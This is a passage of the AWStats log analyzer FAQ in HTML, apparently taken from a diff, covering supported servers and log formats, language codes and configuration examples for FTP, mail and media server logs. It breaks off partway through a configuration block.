?</a><br> +FAQ-ABO150 <a href="#LOGFORMAT">Which log format can AWStats analyze ?</a><br> +FAQ-ABO200 <a href="#LANG">Which languages are available ? How to add my own language ?</a><br> +FAQ-ABO250 <a href="#PHPNUKE">Can AWStats be integrated with PHP Nuke ?</a><br> +FAQ-ABO300 <a href="#ABOUTHISTORY">About AWStats history</a><br> +</ul> +<br> + +<u>COMMON SETUP/USAGE QUESTIONS:</u><br> +Here, you can find the most common questions and answers about AWStats setup/usage process.<br> +<ul> +FAQ-COM025 <a href="#NOLOG">How to use AWStats with no server log</a><br> +FAQ-COM050 <a href="#LIMITLOG">What is the log size limit AWStats can analyze ?</a><br> +FAQ-COM090 <a href="#FTP">Setup for FTP server log files (proftpd, vsftpd, ...).</a><br> +FAQ-COM100 <a href="#MAIL">Setup for MAIL log files (Postfix, Sendmail, QMail, MDaemon, Exchange).</a><br> +FAQ-COM110 <a href="#MEDIASERVER">Setup for MEDIA SERVER log files (Realmedia, Windows media, Darwin streaming server).</a><br> +FAQ-COM115 <a href="#PERSONALIZEDLOG">Setup/Examples for LogFormat parameter.</a><br> +FAQ-COM120 <a href="#ROTATE">How to rotate my logs without losing data.</a><br> +FAQ-COM130 <a href="#CRONTAB">How to run AWStats frequently ?</a><br> +FAQ-COM140 <a href="#EXCLUDEHOSTS">How to exclude my IP address (or whole subnet mask) from stats ?</a><br> +FAQ-COM142 <a href="#SCREENSIZE">How to get the screen size and browser capabilities report working ?</a><br> +FAQ-COM145 <a href="#EXTRA">How to use the Extra Sections features ?</a><br> +FAQ-COM150 <a href="#BENCHMARK">Benchmark question.</a><br> +FAQ-COM200 <a href="#DNS">How reverse DNS Lookup works, unresolved IP Addresses ?</a><br> +FAQ-COM250 <a href="#DIFFERENT_RESULTS">Different results than other log analyzers (Analog, Webalizer, WUsage, wwwStats...).</a><br> +FAQ-COM300 <a href="#DIFFERENCE_HOURS">Difference between local hour and AWStats reported hour.</a><br> +FAQ-COM320 <a href="#GEOIPEU">What does mean "eu (European country)" in GeoIP country reports.</a><br> +FAQ-COM350 <a href="#OLDLOG">How can I process old log file ?</a><br> +FAQ-COM360 <a href="#MULTILOG">How can I process several log files in one run ?</a><br> +FAQ-COM400 <a href="#LOADLOG">How can I update my statistics when I use a load balancing system that splits my logs ?</a><br> +FAQ-COM500 <a href="#RESET">How can I reset all my statistics ?</a><br> +FAQ-COM600 <a href="#DAILY">How can I compile and build statistics on a daily basis only ?</a><br> +FAQ-COM700 <a href="#EDITHISTORY">Can I safely remove a line in AWStats history files (awstatsMMYYYY*.txt) ?</a><br> +</ul> +<br> + +<u>ERRORS/TROUBLESHOOTING QUESTIONS:</u><br> +Here, you can find the most common questions and answers about errors or problems using AWStats.<br> +<ul> +FAQ-SET050 <a href="#MISSINGDOLLAR">Error "Missing $ on loop variable ..."</a><br> +FAQ-SET100 <a href="#CGISOURCE">I see Perl script's source instead of its execution in my browser.</a><br> +FAQ-SET150 <a href="#SPAWNERROR">Error "...couldn't create/spawn child process..." with Apache for windows.</a><br> +FAQ-SET200 <a href="#INTERNAL">"Internal Error" or "Error 500" in a browser connecting to Apache.</a><br> +FAQ-SET210 <a href="#SPEED">"Internal Error" after a long time in my browser (See FAQ-COM100 "AWStats speed/timeout problems").</a><br> +FAQ-SET220 <a href="#CRASH">Crash while running awstats.pl or page content only partialy loaded</a><br> +FAQ-SET270 <a href="#CORRUPTEDDROPPED">Only corrupted/dropped records</a><br> +FAQ-SET280 <a href="#NOTSAMENUMBER">Error "Not same number of records of...".</a><br> +FAQ-SET300 <a href="#COULDNOTOPEN">Error "Couldn't open file ..."</a><br> +FAQ-SET320 <a href="#MALFORMEDUTF8">Error "Malformed UTF-8 character (unexpected..."</a><br> +FAQ-SET350 <a href="#EMPTY_STATS">Empty or null statistics reported.</a><br> +FAQ-SET360 <a href="#PARTIAL_STATS">Statistics reported except for os, browsers, robots and keywords/keyphrases.</a><br> +FAQ-SET400 <a href="#REDIRECT">Pipe redirection to a file give me an empty file.</a><br> +FAQ-SET450 <a href="#NO_ICON">No pictures/graphics shown.</a><br> +FAQ-SET700 <a href="#MIGRATEDOUBLED">My visits are doubled for old month I migrated from 3.2 to 5.x</a><br> +FAQ-SET750 <a href="#OUTOFMEMORYCYGWIN">AWStats run out of memory during update process with cygwin Perl.</a><br> +FAQ-SET800 <a href="#SPEED">AWStats speed/timeout problems.</a><br> +</ul> +<br> + +<u>SECURITY QUESTIONS:</u><br> +Here, you can find the common questions about security problems when setting or using AWStats.<br> +<ul> +FAQ-SEC100 <a href="#CSSATTACK">Can AWStats be used to make Cross Site Scripting Attacks ?</a><br> +FAQ-SEC150 <a href="#SECUSER">How can I prevent some users to see statistics of other users ?</a><br> +FAQ-SEC200 <a href="#WORMS">How to manage log files (and statistics) corrupted by worms attacks like 'Code Red Virus like'.</a><br> +</ul> +<br> + +<hr> +<br><br> + + +<a name="SERVERSOS"></a><br> +<b><u>FAQ-ABO100 : WHICH SERVER LOG FILES OR OS ARE SUPPORTED ?</u></b><br> +AWStats can works with :<br> +<li> All web server able to write log file with a <u>combined log format (XLF/ELF)</u> like Apache, +a <u>common log format (CLF)</u> like Apache or Squid, a <u>W3C log format</u> like IIS 5.0 or higher, +or any other log format that contains all information AWStats expect to find.<br> +<li> Most of all others Web/Wap/Proxy/Streaming servers.<br> +<li> Some FTP, Syslog or Mail log files.<br> +Because AWStats is in Perl, it can works on all Operating Systems.<br> +<br> +Examples of used platforms (bold means 'tested by author', others were reported by AWStats users to work correctly) :<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +<u>OS:</u><br> +<b>Windows 2000</b>, <b>Windows NT 4.0</b>, Windows Me, <b>Linux (RedHat, Mandrake, Debian, Suse...)</b>, Macintosh, <b>Solaris</b>, <b>Aix</b>, BeOS, FreeBSD, ...<br> +<u>Web/Wap/Proxy/Streaming servers</u><br> +<b>Apache 1.3.x and 2.x</b>, <b>IIS 5.0 or higher</b>, ISA, WebStar, WebLogic, WebSite, <b>Windows Media Server</b>, Tomcat, <b>Squid</b>, +Sambar, Roxen, Resin, RealMedia server, Oracle9iAS, <b>Lotus Notes/Domino</b>, Darwin, IPlanet, IceCast, ZeroBrand, Zeus, Zope, Abyss...<br> +<u>FTP servers</u><br> +<b>ProFTPd</b>, vsFTPd...<br> +<u>Mails servers</u><br> +<b>Postfix</b>, <b>Sendmail</b>, QMail, <b>Mdaemon</b>, www4mail, ...<br> +<u>Perl interpreters (all Perl >= 5.005):</u><br> +<b>ActivePerl 5.6</b>, <b>ActivePerl 5.8</b>, <b>Perl 5.8</b>, <b>Perl 5.6</b>, <b>Perl 5.005</b>, <b>mod_perl</b> and mod_perl2 for Apache, ...<br> +</td></tr></table> +<br> + +<a name="LOGFORMAT"></a><br> +<b><u>FAQ-ABO150 : WHICH LOG FORMATS CAN AWSTATS ANALYZE ?</u></b><br> +AWStats setup knows predefined log formats you can use to make AWStats config easier. However, +you can define your own log format, that's the reason why AWStats can analyze nearly all web, wap +and proxy server log files. Some FTP servers log files, Syslog or mail logs can also be analyzed.<br> +The only requirement is "Your log file must contain required information".<br> +<br> +This is very short examples of possible log format:<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +Apache common log format (see Note*),<br> +Apache combined log format (known as NCSA combined log format or XLF or ELF format),<br> +Any other personalized Apache log format,<br> +Any IIS log format (known as W3C format),<br> +Webstar native log format,<br> +Realmedia server, Windows Media Server, Darwin streaming server,<br> +ProFTPd server, vsFTPd server,<br> +Postfix, Sendmail, QMail, Mdaemon<br> +A lot of web/wap/proxy/streaming servers log format<br> +</td></tr></table> +<br> +*Note: Apache common log format (AWStats can now analyze such log files but such log files does not +contain all information AWStats is looking for. The problem is in the content, not in the +format). I think analyzing common log files is not interesting because there is a lot of +missing information: no way to filter robots, find search engines, keywords, os, browser. +But a lot of users asked me for it, so AWStats support it. +However, a lot of interesting advanced features can't work: browsers, os's, keywords, robot detection...). +<br> +See also <a href="#PERSONALIZEDLOG">F.A.Q.: LOG FORMAT SETUP OR ERRORS </a>.<br> +<br> + +<a name="LANG"></a><br> +<b><u>FAQ-ABO200 : WHICH LANGUAGES ARE AVAILABLE ?</u></b><br> +AWStats can make reports in 43 languages. This is a list of all of them, for last version, in +alphabetical order (The code you can use for <a href="awstats_config.html#Lang">Lang</a> +and <a href="awstats_config.html#ShowFlagLinks">ShowFlagLinks</a> parameter are +the ISO-639-1 language codes):<br> +<i> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +Albanian=al, Bosnian=ba, Brezhoneg=bzg, Bulgarian=bg, Catalan=ca, +Chinese (Taiwan)=tw, Chinese (Simpliefied)=cn, Croatian=hr, Czech=cz, +Danish=dk, Dutch=nl, English=en, Estonian=et, Euskara=eu, Finnish=fi, +French=fr, Galician=gl, German=de, Greek=gr, Hebrew=he, Hungarian=hu, +Icelandic=is, Indonesian=id, Italian=it, Japanese=jp, Korean=ko, +Latvian=lv, Norwegian (Nynorsk)=nn, Norwegian (Bokmal)=nb, Polish=pl, +Portuguese=pt, Portuguese (Brazilian)=br, Romanian=ro, Russian=ru, +Serbian=sr, Slovak=sk, Solvenian=si, Spanish=es, Swedish=se, Thai=th, +Turkish=tr, Ukrainian=ua, Welsh=cy. +</td></tr></table> +</i> +However, AWStats documentation is only provided in English.<br> +But, you may find small documentation for other languages made by contributors on +<a href="awstats_contrib.html#DOC">Documentation Contrib page</a>.<br> +<br> +If your language is not in this list, you can translate it yourself. For this, find what is your +2 letter language code: <a href="http://www.oasis-open.org/cover/iso639a.html">here</a>.<br> +Once, you get it, for example "gl" for Galician, copy the file awstats-en.txt into awstats-<i>gl</i>.txt, +in langs directory and translate every sentence inside. You can do same for files inside +tooltips_f, tooltips_m and tooltips_w sub-directories. Then send your translated file(s) to eldy@users.sourceforge.net.<br> +<br> + +<a name="PHPNUKE"></a><br> +<b><u>FAQ-ABO250 : CAN AWSTATS BE INTEGRATED WITH PHP NUKE ?</u></b><br> +The only plugin I know to integrate AWStats inside PHPNuke is here: <a href="http://phpnuke.org/modules.php?name=News&file=article&sid=7041">PhpNuke addon for AWStats</a><br> +<br> + +<a name="ABOUTHISTORY"></a><br> +<b><u>FAQ-ABO300 : ABOUT AWSTATS HISTORY</u></b><br> +AWStats was initialy designed for my own use to track visitors on my personal web sites or other projects i worked on +(<a href="http://www.chiensderace.com" alt="Chiens De Race .com">www.chiensderace.com</a>, + <a href="http://www.chatsderace.com" alt="Chats De Race .com">www.chatsderace.com</a>, + <a href="http://www.lesbonnesannonces.com" alt="Petites annonces LesBonnesAnnonces.com">www.lesbonnesannonces.com</a>, + <a href="http://www.pourmaplanete.com" alt="Pour Ma Planete .com, le site de l'ecologie">www.pourmaplanete.com</a>, + <a href="http://www.dolibarr.org" alt="Dolibarr.org, the ERP/CRM to manage your business">www.dolibarr.org</a>, + <a href="http://www.nltechno.com" alt="NLTechno">www.nltechno.com</a>, +and <a href="http://www.destailleur.fr" alt="Site personnel Laurent Destailleur">www.destailleur.fr</a>)<br> +Then I decided to put it on sourceforge in year 2000. Then a lot of new versions were +developed to add enhancements until today. See changelog for full history of changes.<br> +<br> + + +<hr><br> + + +<a name="NOLOG"></a><br> +<b><u>FAQ-COM025 : HOW TO USE AWSTATS WITH NO SERVER LOG FILE</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I want to have AWStats statistics but i have no access to my server log file.<br> +<font class=CSolution>SOLUTION:</font><br> +Because AWStats is a log analyzer, if you don't have any way to read your server log file, +you have nothing to analyze and you should not be able to use AWStats. +However, this is a trick that you can use to have a log file be built. You must add +a tag to call a CGI script like pslogger into each of your web pages. This will +allow you to have an artificial log file that can be analyzed by AWStats.<br> +You can find a Perl version of CGI pslogger enhanced by AWStats author <a href="/files/pslogger.pl">here</a> +or a php version of CGI pslogger made by Florent CHANTRET <a href="/files/pslogger.phps">here</a>.<br> +<br> + +<a name="LIMITLOG"></a><br> +<b><u>FAQ-COM050 : WHAT IS THE LOG SIZE LIMIT AWSTATS CAN ANALYZE</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I know I must run AWStats update process frequently on new log files, this means thoose +files have a regular size, but for my first update, I want/need to run update process +on old log files that are very large. Is there a limit on log file size AWStats can analyze ?<br> +<font class=CSolution>SOLUTION:</font><br> +No. There is no limit in AWStats. This means you can use it on large log files (test were +made on 10GB log files).<br> +However your system (Operating System or Perl version) might have a limit. For example, you can +experience size limit errors on files larger than 2 or 4 GB. +If limit is Perl only, try to use a Perl version compiled with "large file" option.<br> +If you can't find it nor build it, you can try to use a LogFile parameter that looks like this +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="cat /yourlogfilepath/yourlogfile |" +</td></tr></table> +instead of +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="/yourlogfilepath/yourlogfile" +</td></tr></table> +<br> + +<a name="FTP"></a><br> +<b><u>FAQ-COM090 : SETUP FOR FTP SERVER LOG FILES (proftpd, vsftpd, ...)</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +What do I have to do to use AWStats to analyze some FTP server log files ?<br> +<font class=CSolution>SOLUTION:</font><br> +AWStats can be used with some FTP server log files.<br> +<br> +<u>With ProFTPd</u>:<br> +<br> +1- Setup your server log file format:<br> +<br> +Modify the proftpd.conf file to add the following two lines : +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +<!--<br>With ProFTPd 1.2.2:--> +LogFormat awstats "%t %h %u %m %f %s %b" # WARNING: You must use a tab char between % tags and not a space ! +<br>ExtendedLog /var/log/xferlog read,write awstats # WARNING: ExtendedLog directive might need to be placed inside a virtual host context if you use them. +<!--<br>With ProFTPd 1.2.6: +<i><br>LogFormat awstats ""${%F %H-%M-%S}t %h %u %m %F %s %b"</i> # WARNING: You must use a tab char between % tags and not a space ! +<i><br>ExtendedLog /var/log/xferlog read,write awstats</i> # WARNING: ExtendedLog directive might need to be placed inside a virtual host context if you use them. +--> +</td></tr></table> +<br> +Then turn off old format Transfer log: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +TransferLog none # WARNING: TransferLog directive might need to be placed inside a virtual host context if you use them. +</td></tr></table> +<br> +To have the change effective, stop your server, remove old log file /var/log/xferlog and restart the server.<br> +Download a file by FTP and check that your new log file looks like this:<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +[01/Jan/2001:21:49:57 +0200] ftp.server.com user RETR /home/fileiget.txt 226 1499 +</td></tr></table> +<br> +2- Then setup AWStats to analyze the FTP log file:<br> +<br> +Copy config file "awstats.model.conf" to "awstats.ftp.conf".<br> +Modify this new config file: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="/var/log/xferlog" +<br>LogType=F +<br>LogFormat="%time1 %host %logname %method %url %code %bytesd" +<br>LogSeparator="\t" +<br>NotPageList="" +<br>LevelForBrowsersDetection=0 +<br>LevelForOSDetection=0 +<br>LevelForRefererAnalyze=0 +<br>LevelForRobotsDetection=0 +<br>LevelForWormsDetection=0 +<br>LevelForSearchEnginesDetection=0 +<br>ShowLinksOnUrl=0 +<br>ShowMenu=1 +<br>ShowSummary=UVHB +<br>ShowMonthStats=UVHB +<br>ShowDaysOfMonthStats=HB +<br>ShowDaysOfWeekStats=HB +<br>ShowHoursStats=HB +<br>ShowDomainsStats=HB +<br>ShowHostsStats=HBL +<br>ShowAuthenticatedUsers=HBL +<br>ShowRobotsStats=0 +<br>ShowEMailSenders=0 +<br>ShowEMailReceivers=0 +<br>ShowSessionsStats=1 +<br>ShowPagesStats=PBEX +<br>ShowFileTypesStats=HB +<br>ShowFileSizesStats=0 +<br>ShowBrowsersStats=0 +<br>ShowOSStats=0 +<br>ShowOriginStats=0 +<br>ShowKeyphrasesStats=0 +<br>ShowKeywordsStats=0 +<br>ShowMiscStats=0 +<br>ShowHTTPErrorsStats=0 +<br>ShowSMTPErrorsStats=0 +</td></tr></table> +<br> +Now you can use AWStats as usual (run the update process and read statistics).<br> +<br> +<br> +<u>With vsFTPd, or any FTP server that log with xferlog format</u>:<br> +<br> +1- Check your server log file format:<br> +<br> +Take a look at your FTP server log file. You must have a format that match the following example to +use this FAQ :<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +Wed Jan 01 19:29:35 2001 1 192.168.1.1 102 /home/file1.txt b _ o r username ftp 0 * c +</td></tr></table> +<br> +2- Then setup AWStats to analyze the FTP log file:<br> +<br> +If your FTP log file format looks good, copy config file "awstats.model.conf" to "awstats.ftp.conf".<br> +Modify this new config file: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="/var/log/xferlog" +<br>LogType=F +<br>LogFormat="%time3 %other %host %bytesd %url %other %other %method %other %logname %other %code %other %other" +<br>LogSeparator="\s" +<br>NotPageList="" +<br>LevelForBrowsersDetection=0 +<br>LevelForOSDetection=0 +<br>LevelForRefererAnalyze=0 +<br>LevelForRobotsDetection=0 +<br>LevelForWormsDetection=0 +<br>LevelForSearchEnginesDetection=0 +<br>ShowLinksOnUrl=0 +<br>ShowMenu=1 +<br>ShowSummary=UVHB +<br>ShowMonthStats=UVHB +<br>ShowDaysOfMonthStats=HB +<br>ShowDaysOfWeekStats=HB +<br>ShowHoursStats=HB +<br>ShowDomainsStats=HB +<br>ShowHostsStats=HBL +<br>ShowAuthenticatedUsers=HBL +<br>ShowRobotsStats=0 +<br>ShowEMailSenders=0 +<br>ShowEMailReceivers=0 +<br>ShowSessionsStats=1 +<br>ShowPagesStats=PBEX +<br>ShowFileTypesStats=HB +<br>ShowFileSizesStats=0 +<br>ShowBrowsersStats=0 +<br>ShowOSStats=0 +<br>ShowOriginStats=0 +<br>ShowKeyphrasesStats=0 +<br>ShowKeywordsStats=0 +<br>ShowMiscStats=0 +<br>ShowHTTPErrorsStats=0 +<br>ShowSMTPErrorsStats=0 +</td></tr></table> +<br> +Now you can use AWStats as usual (run the update process and read statistics).<br> +<br> + + +<a name="MAIL"></a><br> +<b><u>FAQ-COM100 : SETUP FOR MAIL LOG FILES (Postfix, Sendmail, Qmail, MDaemon, Exchange...)</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +What do I have to do to use AWStats to analyze my mail log files ?<br> +<font class=CSolution>SOLUTION:</font><br> +<br> +This tip works with AWStats 5.5 or higher.<br> +<br> +<u>For Postfix, Sendmail, QMail or MDaemon log files</u><br> +<br> +You must setup AWStats to use a mail log file preprocessor (<i>maillogconvert.pl</i> is provided +into AWStats <i>tools</i> directory, but you can use the one of your choice):<br> +For this, copy config <i>"awstats.model.conf"</i> file to <i>"awstats.mail.conf"</i>.<br> +Modify this new config file: +For standard Postfix, Sendmail, MDaemon and standard QMail logfiles, set<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="perl /path/to/maillogconvert.pl standard < /pathtomaillog/maillog |" +</td></tr></table> +If the logfiles are compressed, they can be processed this way<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="gzip -cd /var/log/maillog.0.gz | /path/to/maillogconvert.pl standard |"<br> +</td></tr></table> +And for VAdmin QMail logfiles (multi-host/virtualhost mail servers running vadmin software), set<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="perl /path/to/maillogconvert.pl vadmin < /pathtomaillog/maillog |"<br> +</td></tr></table> +<br> +Then, whatever is you mail server, you must also change: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogType=M +<br>LogFormat="%time2 %email %email_r %host %host_r %method %url %code %bytesd" +<br>LevelForBrowsersDetection=0 +<br>LevelForOSDetection=0 +<br>LevelForRefererAnalyze=0 +<br>LevelForRobotsDetection=0 +<br>LevelForWormsDetection=0 +<br>LevelForSearchEnginesDetection=0 +<br>LevelForFileTypesDetection=0 +<br>ShowMenu=1 +<br>ShowSummary=HB +<br>ShowMonthStats=HB +<br>ShowDaysOfMonthStats=HB +<br>ShowDaysOfWeekStats=HB +<br>ShowHoursStats=HB +<br>ShowDomainsStats=0 +<br>ShowHostsStats=HBL +<br>ShowAuthenticatedUsers=0 +<br>ShowRobotsStats=0 +<br>ShowEMailSenders=HBML +<br>ShowEMailReceivers=HBML +<br>ShowSessionsStats=0 +<br>ShowPagesStats=0 +<br>ShowFileTypesStats=0 +<br>ShowFileSizesStats=0 +<br>ShowBrowsersStats=0 +<br>ShowOSStats=0 +<br>ShowOriginStats=0 +<br>ShowKeyphrasesStats=0 +<br>ShowKeywordsStats=0 +<br>ShowMiscStats=0 +<br>ShowHTTPErrorsStats=0 +<br>ShowSMTPErrorsStats=1 +</td></tr></table> +Warning: For MDaemon mail server, you must use the new MDaemon log file that ends +with "-Statistics.log".<br> +<br> +Now you can use AWStats as usual (run the update process and read statistics).<br> +<br> + +<u>For Exchange log files</u><br> +<br> +Despite the high number of possible log format provided with Exchange, +none of them is built enough seriously to offer an interseting analyze (missing informations, +messy data, no id to join multiple records for same mail, etc...). +For this reason, an "exact" log analysis is a joke with Exchange log files. +However a little support is provided. In order to analyze Exchange traffic, you have to +enable "Message Tracking" (see article http://support.microsoft.com/default.aspx?scid=kb;EN-US;246856).<br> +Then copy config awstats.model.conf file to "awstats.mail.conf".<br> +Modify this new config file: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogType=M +<br>LogFormat="%time2 %email %email_r %host %host_r %method %url %code %bytesd" +<br>LevelForBrowsersDetection=0 +<br>LevelForOSDetection=0 +<br>LevelForRefererAnalyze=0 +<br>LevelForRobotsDetection=0 +<br>LevelForWormsDetection=0 +<br>LevelForSearchEnginesDetection=0 +<br>LevelForFileTypesDetection=0 +<br>ShowMenu=1 +<br>ShowSummary=HB +<br>ShowMonthStats=HB +<br>ShowDaysOfMonthStats=HB +<br>ShowDaysOfWeekStats=HB +<br>ShowHoursStats=HB +<br>ShowDomainsStats=0 +<br>ShowHostsStats=HBL +<br>ShowAuthenticatedUsers=0 +<br>ShowRobotsStats=0 +<br>ShowEMailSenders=HBML +<br>ShowEMailReceivers=HBML +<br>ShowSessionsStats=0 +<br>ShowPagesStats=0 +<br>ShowFileTypesStats=0 +<br>ShowFileSizesStats=0 +<br>ShowBrowsersStats=0 +<br>ShowOSStats=0 +<br>ShowOriginStats=0 +<br>ShowKeyphrasesStats=0 +<br>ShowKeywordsStats=0 +<br>ShowMiscStats=0 +<br>ShowHTTPErrorsStats=0 +<br>ShowSMTPErrorsStats=1 +</td></tr></table> +<br> +Also don't forget that with Exchange, informations in a log analyses can't be exact. +Do not send any questions or requests for using AWStats with Exchange, this is not a problem in +AWStats and we have no time to support non opened products.<br> +If you want to have complete and accurate information with Exchange, forget using AWStats or use a +more serious mail serveur (Postfix, Sendmail, QMail...)<br> +<br> + +<a name="MEDIASERVER"></a><br> +<b><u>FAQ-COM110 : SETUP FOR A MEDIA SERVER (REALMEDIA, WINDOWS MEDIA SERVER, DARWIN STREAMING SERVER)</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +What do I have to do to use AWStats to analyze my Media Server log files.<br> +<font class=CSolution>SOLUTION:</font><br> +<br> +<u>For Realmedia</u><br> +<br> +Your log file will probably looks like this:<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +216.125.146.50 - - [16/Sep/2002:14:57:21 -0500] "GET cme/rhythmcity/rcitycaddy.rm?cloakport=8080,554,7070 RTSP/1.0" 200 6672 [Win95_4.0_6.0.9.374_play32_NS80_en-US_586] [80d280e1-c9ae-11d6-fa53-d52aaed98681] [UNKNOWN] 281712 141 3 0 0 494<br> +</td></tr></table> +<br> +Copy config awstats.model.conf file to "awstats.mediaserver.conf". +Modify this new config file: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="/pathtomediaserverlog/mediaserverlog" +<br>LogType=S +<br>LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %uabracket %other %other %other %other %other %other %other %other" +<br>LogSeparator="\s+" +<br>ShowMenu=1 +<br>ShowSummary=UHB +<br>ShowMonthStats=UHB +<br>ShowDaysOfMonthStats=HB +<br>ShowDaysOfWeekStats=HB +<br>ShowHoursStats=HB +<br>ShowDomainsStats=HB +<br>ShowHostsStats=HBL +<br>ShowAuthenticatedUsers=0 +<br>ShowRobotsStats=0 +<br>ShowEMailSenders=0 +<br>ShowEMailReceivers=0 +<br>ShowSessionsStats=0 +<br>ShowPagesStats=PB +<br>ShowFileTypesStats=HB +<br>ShowFileSizesStats=0 +<br>ShowBrowsersStats=1 +<br>ShowOSStats=1 +<br>ShowOriginStats=H +<br>ShowKeyphrasesStats=0 +<br>ShowKeywordsStats=0 +<br>ShowMiscStats=0 +<br>ShowHTTPErrorsStats=1 +<br>ShowSMTPErrorsStats=0 +</td></tr></table> +<br> +Now you can use AWStats as usual (run the update process and read statistics).<br> +<br> +<br> +<u>For Windows Media Server / Darwin Streaming Server</u><br> +<br> +1- If your Windows Media / Darwin streaming Server version allows it, setup your log format to write the following fields: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +c-ip +<br>date +<br>time +<br>cs-uri-stem +<br>c-starttime +<br>x-duration +<br>c-rate +<br>c-status +<br>c-playerid +<br>c-playerversion +<br>c-playerlanguage +<br>cs(User-Agent) +<br>cs(Referer) +<br>c-hostexe +<br>c-hostexever +<br>c-os +<br>c-osversion +<br>c-cpu +<br>filelength +<br>filesize +<br>avgbandwidth +<br>protocol +<br>transport +<br>audiocodec +<br>videocodec +<br>channelURL +<br>sc-bytes +</td></tr></table> +<br> +To make the change effective, stop your server, remove old log files and restart the server.<br> +Listen to streaming files and check that your new log file looks like this:<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +80.223.91.37 2002-10-08 14:18:58 mmst://mydomain.com/mystream 0 106 1 200 {F4A826EE-FA46-480F-A49B-76786320FC6B} 8.0.0.4477 fi-FI - - wmplayer.exe 8.0.0.4477 Windows_2000 5.1.0.2600 Pentium 0 0 20702 mms TCP Windows_Media_Audio_9 - - 277721 +</td></tr></table> +<br> +<br> +If your Windows Media/Darwin Streaming Server version does not allow to define your log format:<br> +Just follow instructions in step 2 directly but use the log format string found in first lines +of your log files (Just after the "<i>#Fields:</i>" string) as value for AWStats LogFormat +parameter. For example, you could have a LogFormat defined like this:<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFormat="c-ip date time c-dns cs-uri-stem c-starttime x-duration c-rate +c-status c-playerid c-playerversion c-playerlanguage cs(User-Agent) +cs(Referer) c-hostexe c-hostexever c-os c-osversion c-cpu filelength +filesize avgbandwidth protocol transport audiocodec videocodec channelURL +sc-bytes c-bytes s-pkts-sent c-pkts-received c-pkts-lost-client +c-pkts-lost-net c-pkts-lost-cont-net c-resendreqs c-pkts-recovered-ECC +c-pkts-recovered-resent c-buffercount c-totalbuffertime c-quality s-ip s-dns +s-totalclients s-cpu-util" +</td></tr></table> +<br>This means you don't use the AWStats tags but AWStats can often also understand all the IIS and/or +Windows Media Server tags.<br> + +<br> +2- Then setup AWStats to analyze your Media Server log:<br> +Copy config awstats.model.conf file to "awstats.mediaserver.conf".<br> +Modify this new config file: +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +LogFile="/pathtomediaserver/mediaserverlog" +<br>LogType=S +<br>LogFormat="c-ip date time cs-uri-stem c-starttime x-duration c-rate c-status c-playerid c-playerversion c-playerlanguage cs(User-Agent) cs(Referer) c-hostexe c-hostexever c-os c-osversion c-cpu filelength filesize avgbandwidth protocol transport audiocodec videocodec channelURL sc-bytes" +<br>DecodeUA=1 +<br>ShowMenu=1 +<br>ShowSummary=UHB +<br>ShowMonthStats=UHB +<br>ShowDaysOfMonthStats=HB +<br>ShowDaysOfWeekStats=HB +<br>ShowHoursStats=HB +<br>ShowDomainsStats=HB +<br>ShowHostsStats=HBL +<br>ShowAuthenticatedUsers=0 +<br>ShowRobotsStats=0 +<br>ShowEMailSenders=0 +<br>ShowEMailReceivers=0 +<br>ShowSessionsStats=0 +<br>ShowPagesStats=PB +<br>ShowFileTypesStats=HB +<br>ShowFileSizesStats=0 +<br>ShowBrowsersStats=1 +<br>ShowOSStats=1 +<br>ShowOriginStats=H 